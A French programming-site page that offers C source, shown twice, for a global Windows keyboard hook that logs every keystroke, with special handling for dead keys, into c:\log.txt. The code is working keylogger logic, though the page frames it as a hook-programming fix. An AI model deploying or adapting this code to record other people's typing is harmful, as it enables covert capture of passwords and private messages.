Accueil > > > [HOOK CLAVIER] FICHIER TEXTE AVEC GESTION DES DEAD KEYS [DEV-C++ 4.9.8.10]
[HOOK CLAVIER] FICHIER TEXTE AVEC GESTION DES DEAD KEYS [DEV-C++ 4.9.8.10]
Information sur la source
Description
On trouve pas mal de code source sur Internet pour un hook clavier global sous Windows. La fonction SetWindowsHookEx est plutôt bien détaillée. Malheureusement, je n'ai trouvé aucun hook qui gère les DEAD KEY. Il s'agit des touches qu'on doit combiner avec une autre, comme les accents circonflexes, les tremas, etc ... pour ne former qu'un caractère. Avec un hook clavier traditionnel, en tapant "^" puis "e" dans une application comme le Notepad, j'obtenais soit "^^e", soit "e". Par contre, dans le fichier log, j'obtenais souvent "ê". L'erreur vient de la fonction ToAscii, largement utilisée avec les hooks clavier, pour traduire un nombre en un caractère (caractère qu'on écrit ensuite dans un fichier texte). Cette fonction bug royalement lorsqu'il s'agit de gérer les DEAD KEY. La solution que je propose est de savoir si le caractère qu'on traite est un DEAD KEY. Si c'est le cas, on ne doit pas faire d'appel à la fonction ToAscii, mais plutôt à une fonction équivalente : GetKeyNameText (elle ne gère pas les minuscules). Je propose un extrait du code. Le zip contient la DLL (je crois que c'est indispensable pour un hook global) et l'EXE pour l'utiliser.
Source
- //------------------------------------------------------------------------------
- // Retourne 0 si le caractère est un DEAD CHAR (accent circonflexe, trema, etc ...)
- //------------------------------------------------------------------------------
-
- BOOL is_dead_key ( int wparam )
- {
- unsigned int code = MapVirtualKey ( wparam, 2 );
-
- // Windows 95 retourne 0x8000, NT retourne 0x80000000
- return (code & 0x80008000) ? TRUE : FALSE;
- }
-
- //------------------------------------------------------------------------------
- // Fonctions executée lorsqu'on appuie sur une touche
- //------------------------------------------------------------------------------
- // lParam est composé de 32 bits (de 31 à 0) :
- // touche appuyée : bit 31 [FALSE] bit 30 [FALSE]
- // touche maintenue : bit 31 [FALSE] bit 30 [TRUE]
- // touche relachée : bit 31 [TRUE] bit 30 [TRUE]
- // scancode : bit 23 au bit 16 inclus
- //------------------------------------------------------------------------------
-
- LRESULT CALLBACK KeyboardProc ( int nCode,WPARAM wParam,LPARAM lParam )
- {
- BYTE KeyState[256]; // Etat des 256 touches du clavier
- static BOOL deadkey; // Est-ce qu'on a traité une DEAD KEY
- WORD Char=0; // Buffer pour la traduction de la touche (ToAscii)
- char nomTouche[256]; // Buffer pour la traduction de la touche (GetKeyNameText)
-
- // On ne fait rien dans ce cas (cf aide API)
- if ( nCode < 0 || nCode == HC_NOREMOVE )
- return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
-
- // Pour éviter les répétitions
- // Bit 30 : Spécifie l'état précédent de la touche (si TRUE, on passe notre chemin)
- if ( ((DWORD)lParam & 1<<30) != FALSE )
- return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
-
- // Si c'est une DEAD KEY, on passe notre chemin
- if ( is_dead_key ( (UINT) wParam ) )
- {
- deadkey = TRUE;
- myfprintf ( "[DK]" );
- return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
- }
-
- switch(wParam)
- {
- case VK_BACK : myfprintf ( "[BKSP]" ); break; // 0x08
- case VK_TAB : myfprintf ( "[TAB]" ); break; // 0x09
- case VK_RETURN : myfprintf ( "[ENTER]\r\n" );break; // 0x0D
- case VK_SHIFT : break; // 0x10
- case VK_CONTROL : myfprintf ( "[CTRL]" ); break; // 0x11
- case VK_MENU : myfprintf ( "[ALT]" ); break; // 0x12
- case VK_PAUSE : myfprintf ( "[PAUSE]" ); break; // 0x13
- case VK_CAPITAL : break; // 0x14
- case VK_ESCAPE : break; // 0x1B
- case VK_PRIOR : myfprintf ( "[PGUP]" ); break; // 0x21
- case VK_NEXT : myfprintf ( "[PGDN]" ); break; // 0x22
- case VK_END : myfprintf ( "[END]" ); break; // 0x23
- case VK_HOME : myfprintf ( "[HOME]" ); break; // 0x24
- case VK_LEFT : myfprintf ( "[LEFT]" ); break; // 0x25
- case VK_UP : myfprintf ( "[UP]" ); break; // 0x26
- case VK_RIGHT : myfprintf ( "[RIGHT]" ); break; // 0x27
- case VK_DOWN : myfprintf ( "[DOWN]" ); break; // 0x28
- case VK_SNAPSHOT: myfprintf ( "[SNAP]" ); break; // 0x2C
- case VK_INSERT : break; // 0x2D
- case VK_DELETE : myfprintf ( "[DEL]" ); break; // 0x2E
- case VK_LWIN : myfprintf ( "[LWIN]" ); break; // 0x5B
- case VK_RWIN : myfprintf ( "[RWIN]" ); break; // 0x5C
- case VK_APPS : myfprintf ( "[APPS]" ); break; // 0x5D
- case VK_NUMPAD0 : myfprintf ( "[NUM0]" ); break; // 0x60
- case VK_NUMPAD1 : myfprintf ( "[NUM1]" ); break; // 0x61
- case VK_NUMPAD2 : myfprintf ( "[NUM2]" ); break; // 0x62
- case VK_NUMPAD3 : myfprintf ( "[NUM3]" ); break; // 0x63
- case VK_NUMPAD4 : myfprintf ( "[NUM4]" ); break; // 0x64
- case VK_NUMPAD5 : myfprintf ( "[NUM5]" ); break; // 0x65
- case VK_NUMPAD6 : myfprintf ( "[NUM6]" ); break; // 0x66
- case VK_NUMPAD7 : myfprintf ( "[NUM7]" ); break; // 0x67
- case VK_NUMPAD8 : myfprintf ( "[NUM8]" ); break; // 0x68
- case VK_NUMPAD9 : myfprintf ( "[NUM9]" ); break; // 0x69
- case VK_MULTIPLY: myfprintf ( "*" ); break; // 0x6A
- case VK_ADD : myfprintf ( "+" ); break; // 0x6B
- case VK_SUBTRACT: myfprintf ( "-" ); break; // 0x6D
- case VK_DECIMAL : myfprintf ( "." ); break; // 0x6E
- case VK_DIVIDE : myfprintf ( "/" ); break; // 0x06
- case VK_F1 : myfprintf ( "[F1]" ); break; // 0x70
- case VK_F2 : myfprintf ( "[F2]" ); break; // 0x71
- case VK_F3 : myfprintf ( "[F3]" ); break; // 0x72
- case VK_F4 : myfprintf ( "[F4]" ); break; // 0x73
- case VK_F5 : myfprintf ( "[F5]" ); break; // 0x74
- case VK_F6 : myfprintf ( "[F6]" ); break; // 0x75
- case VK_F7 : myfprintf ( "[F7]" ); break; // 0x76
- case VK_F8 : myfprintf ( "[F8]" ); break; // 0x77
- case VK_F9 : myfprintf ( "[F9]" ); break; // 0x78
- case VK_F10 : myfprintf ( "[F10]" ); break; // 0x79
- case VK_F11 : myfprintf ( "[F11]" ); break; // 0x7A
- case VK_F12 : myfprintf ( "[F12]" ); break; // 0x7B
- case VK_F13 : myfprintf ( "[F13]" ); break; // 0x7C
- case VK_F14 : myfprintf ( "[F14]" ); break; // 0x7D
- case VK_F15 : myfprintf ( "[F15]" ); break; // 0x7E
- case VK_F16 : myfprintf ( "[F16]" ); break; // 0x7F
- case VK_F17 : myfprintf ( "[F17]" ); break; // 0x80
- case VK_F18 : myfprintf ( "[F18]" ); break; // 0x81
- case VK_F19 : myfprintf ( "[F19]" ); break; // 0x82
- case VK_F20 : myfprintf ( "[F20]" ); break; // 0x83
- case VK_F21 : myfprintf ( "[F21]" ); break; // 0x84
- case VK_F22 : myfprintf ( "[F22]" ); break; // 0x85
- case VK_F23 : myfprintf ( "[F23]" ); break; // 0x86
- case VK_F24 : myfprintf ( "[F24]" ); break; // 0x87
- case VK_NUMLOCK : break; // 0x90
- case VK_ATTN : break; // 0xF6
- default:
- // On réinitialise notre tableau
- memset ( KeyState, 0, sizeof(KeyState) );
-
- if ( GetKeyboardState ( KeyState ) )
- {
- // ce n'est pas une DEAD KEY, on peut utiliser ToAscii
- if ( !deadkey )
- {
- ToAscii ( (UINT) wParam, (UINT) ((lParam << 8 ) >> 24), KeyState, &Char, 0 );
- myfprintf ( &Char );
- }
- // sinon, on doit utiliser autre chose !
- else
- {
- GetKeyNameText ( lParam, nomTouche, 256 );
- myfprintf ( nomTouche );
- deadkey = FALSE;
- }
- }
- break;
- }
-
- return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
- }
//------------------------------------------------------------------------------
// Retourne 0 si le caractère est un DEAD CHAR (accent circonflexe, trema, etc ...)
//------------------------------------------------------------------------------
BOOL is_dead_key ( int wparam )
{
unsigned int code = MapVirtualKey ( wparam, 2 );
// Windows 95 retourne 0x8000, NT retourne 0x80000000
return (code & 0x80008000) ? TRUE : FALSE;
}
//------------------------------------------------------------------------------
// Fonctions executée lorsqu'on appuie sur une touche
//------------------------------------------------------------------------------
// lParam est composé de 32 bits (de 31 à 0) :
// touche appuyée : bit 31 [FALSE] bit 30 [FALSE]
// touche maintenue : bit 31 [FALSE] bit 30 [TRUE]
// touche relachée : bit 31 [TRUE] bit 30 [TRUE]
// scancode : bit 23 au bit 16 inclus
//------------------------------------------------------------------------------
LRESULT CALLBACK KeyboardProc ( int nCode,WPARAM wParam,LPARAM lParam )
{
BYTE KeyState[256]; // Etat des 256 touches du clavier
static BOOL deadkey; // Est-ce qu'on a traité une DEAD KEY
WORD Char=0; // Buffer pour la traduction de la touche (ToAscii)
char nomTouche[256]; // Buffer pour la traduction de la touche (GetKeyNameText)
// On ne fait rien dans ce cas (cf aide API)
if ( nCode < 0 || nCode == HC_NOREMOVE )
return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
// Pour éviter les répétitions
// Bit 30 : Spécifie l'état précédent de la touche (si TRUE, on passe notre chemin)
if ( ((DWORD)lParam & 1<<30) != FALSE )
return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
// Si c'est une DEAD KEY, on passe notre chemin
if ( is_dead_key ( (UINT) wParam ) )
{
deadkey = TRUE;
myfprintf ( "[DK]" );
return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
}
switch(wParam)
{
case VK_BACK : myfprintf ( "[BKSP]" ); break; // 0x08
case VK_TAB : myfprintf ( "[TAB]" ); break; // 0x09
case VK_RETURN : myfprintf ( "[ENTER]\r\n" );break; // 0x0D
case VK_SHIFT : break; // 0x10
case VK_CONTROL : myfprintf ( "[CTRL]" ); break; // 0x11
case VK_MENU : myfprintf ( "[ALT]" ); break; // 0x12
case VK_PAUSE : myfprintf ( "[PAUSE]" ); break; // 0x13
case VK_CAPITAL : break; // 0x14
case VK_ESCAPE : break; // 0x1B
case VK_PRIOR : myfprintf ( "[PGUP]" ); break; // 0x21
case VK_NEXT : myfprintf ( "[PGDN]" ); break; // 0x22
case VK_END : myfprintf ( "[END]" ); break; // 0x23
case VK_HOME : myfprintf ( "[HOME]" ); break; // 0x24
case VK_LEFT : myfprintf ( "[LEFT]" ); break; // 0x25
case VK_UP : myfprintf ( "[UP]" ); break; // 0x26
case VK_RIGHT : myfprintf ( "[RIGHT]" ); break; // 0x27
case VK_DOWN : myfprintf ( "[DOWN]" ); break; // 0x28
case VK_SNAPSHOT: myfprintf ( "[SNAP]" ); break; // 0x2C
case VK_INSERT : break; // 0x2D
case VK_DELETE : myfprintf ( "[DEL]" ); break; // 0x2E
case VK_LWIN : myfprintf ( "[LWIN]" ); break; // 0x5B
case VK_RWIN : myfprintf ( "[RWIN]" ); break; // 0x5C
case VK_APPS : myfprintf ( "[APPS]" ); break; // 0x5D
case VK_NUMPAD0 : myfprintf ( "[NUM0]" ); break; // 0x60
case VK_NUMPAD1 : myfprintf ( "[NUM1]" ); break; // 0x61
case VK_NUMPAD2 : myfprintf ( "[NUM2]" ); break; // 0x62
case VK_NUMPAD3 : myfprintf ( "[NUM3]" ); break; // 0x63
case VK_NUMPAD4 : myfprintf ( "[NUM4]" ); break; // 0x64
case VK_NUMPAD5 : myfprintf ( "[NUM5]" ); break; // 0x65
case VK_NUMPAD6 : myfprintf ( "[NUM6]" ); break; // 0x66
case VK_NUMPAD7 : myfprintf ( "[NUM7]" ); break; // 0x67
case VK_NUMPAD8 : myfprintf ( "[NUM8]" ); break; // 0x68
case VK_NUMPAD9 : myfprintf ( "[NUM9]" ); break; // 0x69
case VK_MULTIPLY: myfprintf ( "*" ); break; // 0x6A
case VK_ADD : myfprintf ( "+" ); break; // 0x6B
case VK_SUBTRACT: myfprintf ( "-" ); break; // 0x6D
case VK_DECIMAL : myfprintf ( "." ); break; // 0x6E
case VK_DIVIDE : myfprintf ( "/" ); break; // 0x06
case VK_F1 : myfprintf ( "[F1]" ); break; // 0x70
case VK_F2 : myfprintf ( "[F2]" ); break; // 0x71
case VK_F3 : myfprintf ( "[F3]" ); break; // 0x72
case VK_F4 : myfprintf ( "[F4]" ); break; // 0x73
case VK_F5 : myfprintf ( "[F5]" ); break; // 0x74
case VK_F6 : myfprintf ( "[F6]" ); break; // 0x75
case VK_F7 : myfprintf ( "[F7]" ); break; // 0x76
case VK_F8 : myfprintf ( "[F8]" ); break; // 0x77
case VK_F9 : myfprintf ( "[F9]" ); break; // 0x78
case VK_F10 : myfprintf ( "[F10]" ); break; // 0x79
case VK_F11 : myfprintf ( "[F11]" ); break; // 0x7A
case VK_F12 : myfprintf ( "[F12]" ); break; // 0x7B
case VK_F13 : myfprintf ( "[F13]" ); break; // 0x7C
case VK_F14 : myfprintf ( "[F14]" ); break; // 0x7D
case VK_F15 : myfprintf ( "[F15]" ); break; // 0x7E
case VK_F16 : myfprintf ( "[F16]" ); break; // 0x7F
case VK_F17 : myfprintf ( "[F17]" ); break; // 0x80
case VK_F18 : myfprintf ( "[F18]" ); break; // 0x81
case VK_F19 : myfprintf ( "[F19]" ); break; // 0x82
case VK_F20 : myfprintf ( "[F20]" ); break; // 0x83
case VK_F21 : myfprintf ( "[F21]" ); break; // 0x84
case VK_F22 : myfprintf ( "[F22]" ); break; // 0x85
case VK_F23 : myfprintf ( "[F23]" ); break; // 0x86
case VK_F24 : myfprintf ( "[F24]" ); break; // 0x87
case VK_NUMLOCK : break; // 0x90
case VK_ATTN : break; // 0xF6
default:
// On réinitialise notre tableau
memset ( KeyState, 0, sizeof(KeyState) );
if ( GetKeyboardState ( KeyState ) )
{
// ce n'est pas une DEAD KEY, on peut utiliser ToAscii
if ( !deadkey )
{
ToAscii ( (UINT) wParam, (UINT) ((lParam << 8 ) >> 24), KeyState, &Char, 0 );
myfprintf ( &Char );
}
// sinon, on doit utiliser autre chose !
else
{
GetKeyNameText ( lParam, nomTouche, 256 );
myfprintf ( nomTouche );
deadkey = FALSE;
}
}
break;
}
return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
}
Conclusion
Si vous avez une solution alternative, je suis évidemment preneur ! Sachez qu'il crée un fichier texte là : c:\log.txt
belzel [dot] free [dot] fr
Historique
- 30 juillet 2004 22:47:54 :
- Quelques commentaires en plus.
Quelques variables supprimées car non utilisées.
Une mise à jour de WORD Char à 0 pour éviter quelques bugs d'écriture.
Sources du même auteur
Sources de la même categorie
Commentaires et avis
|
Derniers Blogs
UNE JOLIE-HORLOGE ET PAS QU'UN PEU !UNE JOLIE-HORLOGE ET PAS QU'UN PEU ! par neodante
Pour les possesseurs d'iPhone, ça y est Bijin Tokei - qui se traduit littéralement en Français par " Jolie Horloge " - est arrivé et GRATUITEMENT s'il vous plaît ! Après la version Tokyo, Hokkaido, night club, racing, Gal, "pour les mademoiselles'", . voi...
Cliquez pour lire la suite de l'article par neodante TECHDAYS PARIS 2010 : CONNECTEZ VOS DONNéES à SHAREPOINT 2010 AVEC LES BUSINESS CONNECTIVITY SERVICESTECHDAYS PARIS 2010 : CONNECTEZ VOS DONNéES à SHAREPOINT 2010 AVEC LES BUSINESS CONNECTIVITY SERVICES par ROMELARD Fabrice
Animé par: Gaetan Bouveret et Julien Chomarat Business Connectivity Services (BCS) est dans SharePoint 2010 la version 2 de Business Data Catalog (BDC dans SharePoint 2007). Il s'agit de la solution permettant de visualiser des données provenan...
Cliquez pour lire la suite de l'article par ROMELARD Fabrice [DIVERS] SUIVRE VOS SéRIES PRéFéRéS SUR LA TOILE[DIVERS] SUIVRE VOS SéRIES PRéFéRéS SUR LA TOILE par orion
Comme de nombreux geek, je suis un grand amateur de série TV et je rate régulièrement des épisodes de mes séries préférés. Une solution s'offre à vous avec ce merveilleux site : Tv Gorge - www.tvgorge.com Moteur de recherche à l'appui, vous pouvez ...
Cliquez pour lire la suite de l'article par orion TECHDAYS PARIS 2010 : LA BI DANS SHAREPOINT 2010TECHDAYS PARIS 2010 : LA BI DANS SHAREPOINT 2010 par ROMELARD Fabrice
Animé par: Vincent Bellet et Baptiste Giraudier La BI dans SharePoint 2010, Les nouveaux services d'application dans SP2010 et SQL Server Reporting services 2008 R2. La BI dans SharePoint est généralisée pour tous afin de permettre à tous les coll...
Cliquez pour lire la suite de l'article par ROMELARD Fabrice
Forum
RE : WIN APIRE : WIN API par racpp
Cliquez pour lire la suite par racpp
Logiciels
DB-MAIN (9.1.0)DB-MAIN (9.1.0)DB-MAIN is a data-modeling and data-architecture tool. It is designed to help developers and anal... Cliquez pour télécharger DB-MAIN Xilisoft DPG Convertisseur (5.1.37.0120)XILISOFT DPG CONVERTISSEUR (5.1.37.0120)Xilisoft DPG Convertisseur offre aux fans de Nintendo DS une bonne solution leur permettant de dé... Cliquez pour télécharger Xilisoft DPG Convertisseur GraphicsGale (2.01.01)GRAPHICSGALE (2.01.01)GraphicsGale est un logiciel de PixelArt avec de nombreuse fonctionnalités permettant de réalisé ... Cliquez pour télécharger GraphicsGale Architecte 3D (Platinum 2010)ARCHITECTE 3D (PLATINUM 2010)Architecte 3D Platinium vous permet de concevoir facilement les plans votre future maison, de l'é... Cliquez pour télécharger Architecte 3D TeamViewer 5 (TeamViewer 5)TEAMVIEWER 5 (TEAMVIEWER 5)Dépanner un ami,expliquer une manipulation devient un jeu d'enfant.
Prise en main d'un autre ord... Cliquez pour télécharger TeamViewer 5
|